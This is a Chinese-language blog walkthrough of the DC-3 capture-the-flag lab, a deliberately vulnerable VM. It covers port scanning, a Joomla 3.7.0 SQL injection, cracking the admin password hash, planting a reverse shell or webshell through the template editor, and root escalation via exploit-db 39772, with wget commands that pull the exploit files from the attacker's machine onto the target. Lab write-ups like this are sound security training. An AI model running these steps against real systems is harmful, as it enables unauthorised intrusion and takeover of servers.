个人博客:点我
DC系列共9个靶场,本次来试玩一下DC-3,只有1个flag,下载地址。
下载下来后是 .ova 格式,建议使用vitualbox进行搭建,vmware可能存在兼容性问题。靶场推荐使用NAT(共享)模式,桥接模式可能会造成目标过多不易识别。
kali : 192.168.31.17
win7 : 192.168.31.168
dc-3 : 192.168.31.241
传统艺能端口扫描
nmap -sV -A -p- 192.168.31.241
cmd为joomla的,且只开放了80端口,使用joomscan 再扫一下发现了具体版本为 3.7.0,发现后台地址为/administrator。
再使用御剑扫描一下没有发现更多有用的信息。
因为开放了80端口登上去看一下
作者告诉我们只有一个入口可以进入后台,只有一个flag,需要root权限才可以读取。再看一下后台登录,尝试弱密码登录失败,(burp爆破应该是可以的)。但因为是joomla的CMS而且版本为3.7,我们尝试搜索一下他的漏洞。
searchexploit joomla 3.7
使用第一个sql注入的漏洞,直接将这个php下载下来在本地搭建一下登上去,输入target即可爆出一些信息,包括后台登录账号和密码的hash。
将admin:$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu 写入pass.txt进行破解
john --show pass.txt
得到密码为snoopy,登录上去之后发现templates板块可以修改模板beez3(或者另外一个)的源码,先写入phpinfo然后找一下他的路径,在192.168.31.241/templates/beez3/下,然后直接将index.php反弹shell或者一句话木马。
连接上后登录用户是www-data。
由于只有root可以看到flag,因此需要提权。先看下内核是否存在内核漏洞
lsb_release -a
内核为ubuntu 16.04,查询其漏洞,使用39772.txt,查看其文档说明。部分内容如下:
An exploit that puts all this together is in exploit.tar. Usage:
user@host:~/ebpf_mapfd_doubleput$ ./compile.sh
user@host:~/ebpf_mapfd_doubleput$ ./doubleput
starting writev
woohoo, got pointer reuse
writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.
suid file detected, launching rootshell...
we have root privs now...
root@host:~/ebpf_mapfd_doubleput# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),999(vboxsf),1000(user)
This exploit was tested on a Ubuntu 16.04 Desktop system.
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
根据文档说明,需要将下载下来的39772.zip中的exploit中的所有文件传到目标靶机然后顺次执行compile.sh和doubleput即可。
python -m http.server 80 #python3开启服务器
python -m SimpleHTTPServer 80 #python2开启服务器
#靶机
cd /tmp
wget http://192.168.31.168/compile.sh
wget http://192.168.31.168/doubleput.c
wget http://192.168.31.168/hello.c
wget http://192.168.31.168/suidhelper.c
chmod +x compile.sh
./compile.sh
./doubleput
whoami
最后在/root下找到the-flag.txt。
整个渗透、提权过程完全是利用到了joomla 3.7 这个CMS的版本漏洞,提示我们使用开源的CMS一定要及时更新版本和做好防护。